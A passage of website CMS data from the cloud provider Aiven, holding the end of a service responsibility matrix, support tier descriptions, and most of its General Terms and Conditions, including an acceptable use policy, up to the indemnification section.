style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"d0583c7f-ae44-4929-b1b0-378130047836","_type":"tableRow","cells":["\u003cabbr title=\"Customer has the ability to choose when they would like to upgrade a major version of a service prior to EOL of that service version.  Aiven maintenance policy will for standard patching and minor upgrade.\"\u003eAiven Service Maintenance and Version Upgrades\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"f4c5868e-489d-4967-b5d6-4876d006f52d","_type":"tableRow","cells":["\u003cabbr title=\"The Aiven platform will perform backups as schedule according to service plan.\"\u003eAiven Service Backups\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"b4ae447d-a4a1-4e78-980a-ce3d1f9f7530","_type":"tableRow","cells":["\u003cabbr title=\"Aiven services are fully managed with observability and logging provided by our platform.  It is also highly recommend that customers also observe and capture logs from the services to monitor for business specific critical threshold and errors.  Aiven Support can provide guidance for Aiven specific metrics and logs.\"\u003eAiven Service Observability and Logging\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"db4c9cfd-ad0c-43d5-9ebc-4b812475a3f1","_type":"tableRow","cells":["\u003cabbr title=\"Joint ownership of troubleshooting the provisioned Aiven service since the issues can involve the way workloads are configured or how the other ecosystem components within customers' infrastructure interact with Aiven services\"\u003eAiven Service Troubleshooting\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"a85695ff-d787-45bb-b338-35fc01d695a8","_type":"tableRow","cells":["\u003cabbr title=\"Please see our Security Page for full insight on the Aiven Security, Compliance and Auditing capabilities.\"\u003eAiven Platform [Security, Compliance, Auditing](https://aiven.io/security-compliance)\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"537bab3b-5732-4c49-8672-a12474779674","_type":"tableRow","cells":["\u003cabbr title=\"Service Migration Planing from Aiven Cloud to BYOC\"\u003eSLA Management\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]}]},{"_key":"52ce070d434e","_type":"block","children":[{"_key":"dbf298f43ad80","_type":"span","marks":[],"text":"Support"}],"markDefs":[],"style":"h4"},{"_key":"569588d51223","_type":"block","children":[{"_key":"455a0bcbf4570","_type":"span","marks":[],"text":"The Aiven support team is composed of developers and open source database experts and is your first line of defense for availability and responsiveness of the Aiven platform. Their goals are mitigation, containment and stability and they will resolve any issues in a timely manner."}],"markDefs":[],"style":"normal"},{"_key":"026122d9bf5f","_type":"block","children":[{"_key":"c6c2750aa1510","_type":"span","marks":[],"text":"Every Aiven user has access to create support tickets with a reasonable effort response time. All Aiven services, regardless of the support plan, receive the service uptime "},{"_key":"75ac0b20da0f","_type":"span","marks":["d7c60ddc521f"],"text":"SLA"},{"_key":"2f349ba172b7","_type":"span","marks":[],"text":" of 99.99%. For more details, visit the "},{"_key":"26e58dfdcf69","_type":"span","marks":["1548f4c8c74b"],"text":"support page"},{"_key":"44e351165ef3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1548f4c8c74b","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"}},{"_key":"d7c60ddc521f","_type":"internalLink","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"}}],"style":"normal"},{"_key":"895851299b77","_type":"table","rows":[{"_key":"7b7c7310-213d-4895-bc47-f9e495591179","_type":"tableRow","cells":["Support","Description"]},{"_key":"7537abf7-ae8c-4781-97e6-f32be082ddde","_type":"tableRow","cells":["**Basic Support**","Non-critical and stable workloads are easily supported with Basic Support. Responses are provided on a reasonable effort basis during the same or next business day."]},{"_key":"d08691d0-909d-487e-a038-ac40c8de6d65","_type":"tableRow","cells":["**Essential Support**","Minimum recommendation for production workloads on Aiven. Responses are provided based on case severity.\u003cbr /\u003e\u003cbr /\u003e\u003cul\u003e\u003cli\u003eGeneral guidance - No service impact: Next business day\u003c/li\u003e\u003cli\u003eService impacted: 12 hours\u003c/li\u003e\u003c/ul\u003e"]},{"_key":"d91f9ce1-9620-403d-818f-824cd441a6f0","_type":"tableRow","cells":["**Advanced Support**","Production and business critical workloads on Aiven. Responses are provided based on case severity.\u003cbr /\u003e\u003cbr /\u003e\u003cul\u003e\u003cli\u003eGeneral guidance - No service impact Low: 24 hours.\u003c/li\u003e\u003cli\u003eService impacted - Medium: 8 hours.\u003c/li\u003e\u003cli\u003eProduction severely impacted - High: 2 hours.\u003c/li\u003e\u003cli\u003eBusiness/Mission-critical system down - Critical: 30 minutes\u003c/li\u003e\u003c/ul\u003e"]},{"_key":"29ce626c-c210-4733-afe3-db72dd1e6b76","_type":"tableRow","cells":["**Premium Support** ","Business and mission critical workloads on Aiven. Responses are provided based on case severity.\u003cbr /\u003e\u003cbr /\u003e\u003cul\u003e\u003cli\u003eGeneral guidance - No service impact Low: 24 hours\u003c/li\u003e\u003cli\u003eService impacted - Medium: 4 hours\u003c/li\u003e\u003cli\u003eProduction severely impacted - High: 1 hours\u003c/li\u003e\u003cli\u003eBusiness/Mission-critical system down - Critical: 15 minutes\u003c/li\u003e\u003c/ul\u003e"]}]}],"publishedAt":"2024-05-01T11:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven delivers cutting edge architecture to ensure your workloads and teams are set up for success.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven's strategic responsibility matrix"},"slug":{"_type":"slug","current":"/responsibility-matrix"},"title":"Aiven Responsibility Matrix"}
{"__i18n_lang":"en","_createdAt":"2022-05-26T14:14:57Z","_id":"174ba708-1e30-481f-ab87-32c8d8fac151","_rev":"3k3vwhvhnpMxr5ODyxi1Vd","_type":"term","_updatedAt":"2024-03-04T14:15:41Z","content":[{"_key":"817bf6d33c8a","_type":"block","children":[{"_key":"e3936404e4c70","_type":"span","marks":[],"text":"General"}],"markDefs":[],"style":"h2"},{"_key":"891e84b2e7b9","_type":"block","children":[{"_key":"d9bcfdd8be890","_type":"span","marks":[],"text":"This Agreement governs the use of the Aiven Cloud Services and consists of these general terms and conditions (\""},{"_key":"75b0b3ac4ece","_type":"span","marks":["strong"],"text":"General Terms"},{"_key":"179e107f1ca1","_type":"span","marks":[],"text":"\"), the Service Level Agreement (\""},{"_key":"0ee7415769db","_type":"span","marks":["strong"],"text":"SLA\""},{"_key":"037060ed8cb7","_type":"span","marks":[],"text":"), the Data Processing Agreement (\""},{"_key":"23770944b121","_type":"span","marks":["strong"],"text":"DPA"},{"_key":"b62367961ea7","_type":"span","marks":[],"text":"\") and the Support Services Description. The Customer accepts this Agreement either by indicating acceptance when first registering to use the Cloud Services or executing an Order Form that references these General Terms. If the individual accepting this Agreement is accepting on behalf of a company or other legal entity, such individual represents that they have the authority to bind such entity and its affiliates to this Agreement. If the individual accepting this Agreement does not have such authority, or does not agree with this Agreement, such individual must not accept this Agreement and may not use the Cloud Services.If Customer registers for a free trial of the Cloud Services, the applicable provisions of these General Terms will also govern that free trial. The Cloud Services may not be accessed for purposes of monitoring their availability, performance, or functionality, or for any other benchmarking or competitive purposes. This Agreement was last updated on 4th of March 2024. It is effective between Aiven and the Customer as of the date of Customer accepting this Agreement."}],"markDefs":[],"style":"normal"},{"_key":"957d68117788","_type":"block","children":[{"_key":"56045199c8ab0","_type":"span","marks":[],"text":"1. Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"c29b925d19ba","_type":"block","children":[{"_key":"d5e2150d06290","_type":"span","marks":[],"text":"Aiven will provide the Cloud Services to the Customer substantially as set out at Aiven's Web Site and in this Agreement. The Customer may order Cloud Services through the Web Site account subject to the following: (1) orders may be made by the Customer after registering at the Web Site or automatically by using APIs of the Cloud Services; (2) the Customer shall be responsible for any orders made under the Customer's account, whether by the Customer itself, by its authorized users, or by the Customer’s data systems automatically, and shall be responsible for the payment of all Fees based on orders made under the Customer's account; (3) no order made by the Customer is valid until accepted by Aiven. Aiven shall be deemed to have accepted the order if it supplies the Cloud Services to the Customer. Aiven reserves the right to place controls and restrict the Customer's orders of the Cloud Services; (4) After Aiven having accepted the order, Aiven will provide the Cloud Services to the Customer without undue delay."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e45cb45bfe43","_type":"block","children":[{"_key":"3f907e5ccbe70","_type":"span","marks":[],"text":"Unless set out to the contrary, the Cloud Services are supplied on an \"as is\" and \"as available\" basis without any guaranteed service levels. Any applicable service levels have been set out in the SLA and are only applicable to the individual Cloud Service. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the SLA. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a7f5b9fb6293","_type":"block","children":[{"_key":"bde23b6771c90","_type":"span","marks":[],"text":"The Cloud Services are updated from time to time due to their inherent nature. Aiven reserves the right to make changes to the Cloud Services at any time. If a change made by Aiven has an adverse effect on the agreed contents of the Cloud Services or the agreed service levels (if any), Aiven shall inform the Customer of such change at least thirty (30) days before the effective date of the change. In such a case the Customer shall have the right to terminate applicable Cloud Services in accordance with Section 12.2 or terminate the relevant Order Form subject to a thirty (30) days' written notice. The termination notice must be delivered to Aiven in writing prior to the effective date of the change."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7434470571a9","_type":"block","children":[{"_key":"074f0c5b9c720","_type":"span","marks":[],"text":"Aiven shall always have the right, but shall have no obligation, to make such changes to the Cloud Services that (a) concern or relate to the production environment of the Cloud Services and do not have an adverse effect on the agreed contents of the Cloud Services or the agreed service levels or hosting locations, (b) are necessary to prevent any data security risk to the Cloud Services, or (c) result from applicable laws or from a court or administrative order. The Customer shall not have the right to terminate any separately agreed Order Form due to any such changes."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"879789e9d100","_type":"block","children":[{"_key":"edc24f3395350","_type":"span","marks":[],"text":"All facilities used to store and process the Customer's data will adhere to reasonable security standards no less protective than the security standards at facilities where Aiven (or its Subprocessor as relevant) processes and stores its own information of a similar type. Aiven has committed to comply with the information security standard ISO 27001."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f9de1fd8c3b6","_type":"block","children":[{"_key":"5c4363b9f4a90","_type":"span","marks":[],"text":"The Customer uses Beta Services and/or Beta Features in its sole discretion and at its own risk. Beta Services and Beta Features may not be as reliable or as available as the Cloud Services. Beta Services and Beta Features may be changed at any time without notice and may not reach general availability status, i.e. similar status as the Cloud Services. Aiven will have no liability arising out of or in connection with the Beta Services and/or Beta Features."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e5c2bbfb6c16","_type":"block","children":[{"_key":"149d0f63090f","_type":"span","marks":[],"text":"2. Support and Additional"},{"_key":"0c3da67491d4","_type":"span","marks":["strong"],"text":" "},{"_key":"6bd3237f2286","_type":"span","marks":[],"text":"Services"}],"markDefs":[],"style":"h3"},{"_key":"3fcc36c0676e","_type":"block","children":[{"_key":"159e59f616b10","_type":"span","marks":[],"text":"The Customer may choose to order optional Support Services. A description of the Support Services is set out in the Support Services Description, and Aiven shall provide the Support Services to the Customer substantially as set out in the Support Services Description and in this Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"89e57fef1fdc","_type":"block","children":[{"_key":"bd40153f34300","_type":"span","marks":[],"text":"All Cloud Services include email support with responses provided on a best-effort basis without any guaranteed service levels. If the Customer has selected a support tier with service levels applicable to the Support Services, the Support Services shall be provided in accordance with such agreed service levels. A failure to comply with any service level shall not, however, be construed to be a breach of this Agreement, but may give the Customer the right to receive a compensation set out in the Support Services Description. Such compensation shall be the Customer's sole remedy and Aiven's sole liability as regards any non-compliance with any service levels."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e8d3efd62d46","_type":"block","children":[{"_key":"c908e95ebdb50","_type":"span","marks":[],"text":"Aiven shall use reasonable commercial efforts to correct at no additional charge any reproducible errors reported by Customer. Aiven shall review all requests for improvements and new functionality, but Aiven shall have no obligation to provide any modifications to the Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c4931c938969","_type":"block","children":[{"_key":"ea42fa2c44510","_type":"span","marks":[],"text":"The Customer may choose to order optional Additional Services. The Additional Services are described at the Website or in an Order Form, as applicable."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6ca11daba40c","_type":"block","children":[{"_key":"41c3d5a3939e0","_type":"span","marks":[],"text":"3. Fees and Payment Terms"}],"markDefs":[],"style":"h3"},{"_key":"9adcebac8ca9","_type":"block","children":[{"_key":"bf31fb224a220","_type":"span","marks":[],"text":"The rates applicable for the Cloud Services may be reviewed at Aiven's Web Site. Actual Fees for Cloud Services will vary depending on the Customer's use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c89bd6455cf4","_type":"block","children":[{"_key":"e77d696e65a30","_type":"span","marks":[],"text":"Aiven uses a credit card processing service provided by Stripe Payments Europe, Ltd. (https://stripe.com/) (\"Stripe\") to process its payments. The Customer consents to the use of the Stripe service and to the transfer of its credit card details to Stripe. The Customer is familiar and agrees to be bound by any third party terms applicable to the Stripe service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5c5ed3bfebe1","_type":"block","children":[{"_key":"c3c528bc9de10","_type":"span","marks":[],"text":"All Fees are automatically charged monthly in arrears from the Customer by using the Stripe service set out in Section 3.2 above. If separately agreed with the Customer, the Fees for the use of the Cloud Services shall be invoiced monthly in arrears based on the Customer's use of the Cloud Services. In case a separate invoice is sent, the Customer is responsible for paying any Fees properly due in accordance with the invoices sent by Aiven."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fc2278922661","_type":"block","children":[{"_key":"fa7b2b4aa6a30","_type":"span","marks":[],"text":"Aiven reserves the right to increase the rates applicable to the Cloud Services where this is justified due to the general increase of Aiven's costs and expenses of production (such as but not limited to general increase of labor costs and expenses). Further, Aiven may increase the rates applicable to the Cloud Services by an amount corresponding to an increase of costs of relevant third party offerings. Aiven will inform the Customer of such change at least thirty (30) days before implementing such change. Continuous use of the Cloud Services will be deemed as acceptance of the new Fees."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"05ac13a21658","_type":"block","children":[{"_key":"7f7a1a285d730","_type":"span","marks":[],"text":"All rates and Fees are set out without value added tax (VAT) or any other applicable sales tax, which shall be added to the rates and Fees in accordance with the then-applicable tax laws and regulations. In case a separate invoice is sent, the term of payment of each invoice shall be fourteen (14) days net from the date of the invoice. Interest on any amounts overdue shall accrue in accordance with the applicable Finnish Interest Act (Korkolaki 1982/633, as amended)."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dd551b2b0936","_type":"block","children":[{"_key":"b48f5487da190","_type":"span","marks":[],"text":"4. Customer's General Obligations"}],"markDefs":[],"style":"h3"},{"_key":"3a4a20b2a1e0","_type":"block","children":[{"_key":"ed2097bc4ede0","_type":"span","marks":[],"text":"The Customer shall be responsible for its own devices, systems, applications, connections and software used to access the Cloud Services. The Customer shall be responsible for the protection of the Customer's data communications and data systems and costs for communications and other comparable costs related to use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"54c071e74ada","_type":"block","children":[{"_key":"b23333288ea40","_type":"span","marks":[],"text":"The Customer may authorize users to use the Cloud Services under the Customer's account (e.g. for the purposes of using the Customer's databases). The Customer shall ensure that any users it authorizes to use the Cloud Services under the Customer's account comply with this Agreement at all times and use the Cloud Services only in accordance with this Agreement and the Acceptable Use Policy. The Customer shall be responsible for any use of the Cloud Services under the Customer's account."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a8df7967e05f","_type":"block","children":[{"_key":"a7ded5a683ef0","_type":"span","marks":[],"text":"The Customer shall be responsible for ensuring that its authorized users maintain their user names and passwords diligently and do not disclose them to third parties. The Customer undertakes to inform Aiven without delay if any password has been revealed to a third party or if the Customer has a reason to suspect misuse of a user name or password. The Customer's liability for the misuse of the Cloud Services by the use of the user name or password of its user shall expire when Aiven has received Customer's written and sufficiently detailed notice of such misuse. The Customer shall change the password required for the use of the Cloud Services upon written request of Aiven if necessary due to data security risk to the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"fccbddd315b3","_type":"block","children":[{"_key":"12a136d594440","_type":"span","marks":[],"text":"The Customer is solely responsible for making appropriate backups of its data, and Aiven or its Subprocessors shall in no way be liable for any deletion of or failure to store any data of the Customer or other communications maintained or transmitted to the use of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0699f8ba0ba4","_type":"block","children":[{"_key":"df80a3c49ad70","_type":"span","marks":[],"text":"5. Intellectual Property Rights"}],"markDefs":[],"style":"h3"},{"_key":"582bbfddf428","_type":"block","children":[{"_key":"2d12c2be43770","_type":"span","marks":[],"text":"Subject to the terms of this Agreement and subject to the due payment of all Fees, the Customer shall have a limited, non-exclusive, non-transferable right to use the Cloud Services during the term of this Agreement or the term of the relevant Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a81f0c27e928","_type":"block","children":[{"_key":"b09c261ec2910","_type":"span","marks":[],"text":"All rights, title and interest, including all Intellectual Property Rights in and to the Services, and any changes thereto shall belong exclusively to Aiven or its licensors. Except for the express license to use the Cloud Services granted to the Customer under and in accordance with the terms and conditions of this Agreement, the Customer shall have no and shall not by virtue of this Agreement obtain any rights, license or interests in and to the Services or any Intellectual Property Rights pertaining thereto."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7d9253897351","_type":"block","children":[{"_key":"92f8bc2be3220","_type":"span","marks":[],"text":"The Customer shall be solely responsible for its use of the Cloud Services including any breach of this Agreement by the Customer or any of its authorized users."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2a1353e42869","_type":"block","children":[{"_key":"757cbab88e7d0","_type":"span","marks":[],"text":"All licenses granted to the Customer under the Agreement shall terminate upon the termination of the Agreement for any reason."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"936bf08f3b89","_type":"block","children":[{"_key":"1fd1181103f10","_type":"span","marks":[],"text":"6. Personal Data"}],"markDefs":[],"style":"h3"},{"_key":"22b5181a394b","_type":"block","children":[{"_key":"ebff2a18f7d30","_type":"span","marks":[],"text":"To the extent the Customer inputs any personal data into the Cloud Services and the processing is subject to the EU General Data Protection Regulation (2016/679, the GDPR), the Parties acknowledge that the Customer acts as a data controller and Aiven is the data processor processing personal data together with its Subprocessors on behalf of the Customer for the purpose of providing the Cloud Services. All such processing of the Customer's personal data by Aiven is subject to the DPA."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9265ee28cd4e","_type":"block","children":[{"_key":"d3db8a5fe4f30","_type":"span","marks":[],"text":"7. Acceptable Use Policy"}],"markDefs":[],"style":"h3"},{"_key":"da2d34bd4940","_type":"block","children":[{"_key":"ccafdbd73e850","_type":"span","marks":[],"text":"The Customer shall use and ensure that its authorized users use the Cloud Services in accordance with the following acceptable use policy (\"Acceptable Use Policy\"). The Customer is solely responsible for ensuring that the Cloud Services are not used:"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b874b7c5baeb","_type":"block","children":[{"_key":"61cd479b32220","_type":"span","marks":[],"text":"to violate, or encourage the violation of, the legal rights (including without limitation Intellectual Property Rights) of others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"89227fd29c29","_type":"block","children":[{"_key":"e459c12ad6090","_type":"span","marks":[],"text":"to engage in, promote or encourage any illegal activity;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"12f9c7a96b09","_type":"block","children":[{"_key":"bf80c0f23d970","_type":"span","marks":[],"text":"for any unlawful, invasive, infringing, defamatory, offensive, harmful or fraudulent purpose (for example, this may include phishing, creating a pyramid scheme or mirroring a website);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0b1e01598820","_type":"block","children":[{"_key":"022dce7949e10","_type":"span","marks":[],"text":"to intentionally distribute viruses, worms, Trojan horses, corrupted files, hoaxes, or other items of a destructive or deceptive nature;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8896fdfc9af2","_type":"block","children":[{"_key":"f0058bcef8f00","_type":"span","marks":[],"text":"to violate the security or integrity of any network, computer or communications system, software application or network or computing device (such violations to include without limitation unauthorized access, interception of data or traffic or falsification of origin);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ae209193d33f","_type":"block","children":[{"_key":"50c647cc2c850","_type":"span","marks":[],"text":"to make connections to any users, hosts or networks unless the Customer has permission to communicate with them (such network abuses to include without limitation monitoring or crawling, denial of service attacks, intentional interference, operating open proxies, open mail relays or open recursive domain name servers, or to avoiding system restrictions);"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"95e60c1ccfac","_type":"block","children":[{"_key":"7c600bf8eb7d0","_type":"span","marks":[],"text":"to interfere with the use of the Cloud Services, or the equipment used to provide the Cloud Services, by others;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7016fb020967","_type":"block","children":[{"_key":"b546dd9ccdc40","_type":"span","marks":[],"text":"to disable, interfere with or circumvent any aspect of the Cloud Services;"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"525ccd17dfd4","_type":"block","children":[{"_key":"126c4a4580790","_type":"span","marks":[],"text":"to generate, distribute, publish or facilitate unsolicited mass email, promotions, advertising or other solicitations (\"spam\"), including alteration or obscuring mail headers or assuming sender's identities, collecting replies to messages sent from a third party provider if such messages would violate the policies set out herein or comparable policies of such third party; or"}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8f67e7ca3df9","_type":"block","children":[{"_key":"306567def0250","_type":"span","marks":[],"text":"to use the Cloud Services, or any interfaces provided with the Cloud Services, to access any other product or service of Aiven, its Subprocessors or subcontractors, in a manner that violates their applicable terms of service."}],"level":3,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bc0b0e46a810","_type":"block","children":[{"_key":"051e5458d39d0","_type":"span","marks":[],"text":"Aiven (and its Subprocessors and subcontractors where appropriate) reserve the right but assume no obligation to review the Customer's use of the Cloud Services, including the Customer's data to ensure compliance with the Acceptable Use Policy and to discontinue any use by the Customer of the Cloud Services and removing any infringing data of the Customer. Aiven (and its Subprocessors and subcontractors where appropriate) may report suspected infringing activities to officials, regulators or other appropriate third parties, including the disclosure of appropriate information regarding the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ec13c060cc77","_type":"block","children":[{"_key":"0d1751fc7e860","_type":"span","marks":[],"text":"If the Customer becomes aware that its use of the Cloud Services infringes the Acceptable Use Policy set out herein, the Customer agrees to immediately cease the infringing use of the Cloud Services without separate notice. The Customer agrees to comply with any requests of Aiven as regards to any use of the Cloud Services that infringes the Acceptable Use Policy set out herein."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"eb70e92e01a5","_type":"block","children":[{"_key":"2c8dc6abc5ee0","_type":"span","marks":[],"text":"8. Suspension and Discontinuation of Cloud Services"}],"markDefs":[],"style":"h3"},{"_key":"c7487cf10cef","_type":"block","children":[{"_key":"268e90f23c070","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services for a reasonable period of time if such is necessary in order to perform installation, change or maintenance work in respect of the Cloud Services or if such suspension results from installation, change or maintenance work in respect of public communication networks."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ba00e4fad99f","_type":"block","children":[{"_key":"7fc2198fe52d0","_type":"span","marks":[],"text":"Aiven shall have the right to suspend the provision of the Cloud Services and/or deny the Customer's access to the Cloud Services without first hearing the Customer due to (a) a significant data security risk to the Cloud Services, (b) if applicable law or a court or administrative order requires Aiven to do so, (c) if Aiven becomes aware of, or reasonably suspects, any activities of the Customer or its authorized users that infringe on the Acceptable Use Policy or if the Customer has violated these General Terms or other agreements or guidelines which maybe be associated with use of the Cloud Services (d) if the Cloud Services are used contrary to, or for a purpose prohibited by this Agreement, applicable laws or court or administrative orders, or (e) the Cloud Services are used in a manner that jeopardizes the provision of the Cloud Services to other users. Aiven shall promptly notify the Customer of the suspension of the Cloud Services under this Section as well as the grounds for such suspension and shall use its best efforts to resolve the issue with the Customer without undue delay."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a2f4a38b5d37","_type":"block","children":[{"_key":"f0f2475e3a6e0","_type":"span","marks":[],"text":"Aiven shall always have the right to suspend the Cloud Services, if the Customer is in default with its payment of undisputed Fees due under this Agreement and does not pay such Fees despite a request to pay within fourteen (14) days calculated from the date of such request. The suspension can be continued until the Customer has paid all Fees due under this Agreement, after which Aiven shall continue the provision of the Cloud Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"39eefd020aa5","_type":"block","children":[{"_key":"1aed0b1d5a830","_type":"span","marks":[],"text":"The Customer understands that the Cloud Services are hosted by a Subprocessor of Aiven chosen by the Customer from the options provided by Aiven on the Web Site. Such Subprocessors may reserve rights to discontinue their hosting at any time. Aiven shall not be liable in any way for any discontinuation of such services provided by Subprocessors. Aiven undertakes to inform the Customer of such discontinuation without delay after having become aware of any third party plans to discontinue the provision of hosting services affecting the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4c1674c9a495","_type":"block","children":[{"_key":"a12eb8f8013e0","_type":"span","marks":[],"text":"9. Indemnification"}],"markDefs":[],"style":"h3"},{"_key":"619ca7c6681a","_type":"block","children":[{"_key":"ec007b2605420","_type":"span","marks":[],"text":"Aiven agrees to defend the Customer, at Aiven's own expense, against any third party claims or actions where a third party claims that the Cloud Services infringe upon the Intellectual Property Rights of a third party valid in the European Economic Area (\"EEA\"), provided that the Customer: (a) notifies Aiven of such claim immediately upon receipt of notice thereof; (b) provides Aiven, free of charge, with all available information, permissions and assistance; (c) grants Aiven the sole and exclusive right to control the defense of the claim; and (d) does not agree on any settlement of such claim or action prior to a final judgment thereon by a competent court of law or court of arbitration, without the express prior written consent of Aiven."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"53c1fa96fceb","_type":"block","children":[{"_key":"45e2a76873790","_type":"span","marks":[],"text":"If the Customer has acted in accordance with the sub-list (a)-(d) of Section 9.1, Aiven shall pay any damages finally awarded to the third party claimant by a competent court of law or court of arbitration."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"574b47570e2e","_type":"block","children":[{"_key":"11cad762f2fa0","_type":"span","marks":[],"text":"If Aiven justifiably deems that the Cloud Services infringe or may infringe upon any third party rights, Aiven shall have the right, at its own expense and in its sole discretion, to (a) acquire for the Customer the right to continue the use of the Cloud Services; or (b) replace the Cloud Services; or (c) modify the Cloud Services to the extent necessary to avoid the infringement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7eb6900c6d6a","_type":"block","children":[{"_key":"ab4657373d960","_type":"span","marks":[],"text":"If none of the alternatives defined in Section 9.3 are available to Aiven on commercially reasonable terms and/or without the significant loss of time, Aiven shall have the right to terminate the Agreement in whole or in part subject to a notice period set by Aiven, upon which the Customer agrees to cease using the Cloud Services and Aiven agrees to reimburse the Fees paid by the Customer for the terminated Cloud Services, less a proportion equal to the time of use of the Cloud Services by the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a7b3695c2a1b","_type":"block","children":[{"_key":"1b98d6dbbbe10","_type":"span","marks":[],"text":"The indemnity in this Section 9 shall not apply to, and Aiven is not liable for any claim that (a) is based on a claim by any Affiliate of the Customer; or (b) is based on the modification or alteration of the Cloud Services or a modification or alteration influencing the Cloud Services by the Customer or any third party; or (c) results from complying with any instructions, specifications or design given by the Customer or any third party under the command and control of the Customer; (d) arises or results from the use of the Cloud Services in combination with any software, equipment or products not developed or supplied by Aiven or which are contrary to instructions given by Aiven; or (e) could have been avoided by using the latest version of the Cloud Services made available by Aiven to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"03543bf26bc7","_type":"block","children":[{"_key":"c17a537a4b930","_type":"span","marks":[],"text":"This Section 9 sets out the entire liability of Aiven and the Customer's sole remedy in case of any infringement of any Intellectual Property Rights."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f2c11f050b80","_type":"block","children":[{"_key":"69dcc99c7c750","_type":"span","marks":[],"text":"The Customer agrees to indemnify Aiven, at the Customer's own expense, against any claims made towards Aiven based on any information or data the Customer inputs to the Cloud Services, including without limitation claims that the Customer's data infringes third party intellectual property rights or that the data otherwise infringes applicable laws."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8123d9d624c","_type":"block","children":[{"_key":"f53b1ea09e7d","_type":"span","marks":[],"text":"10. 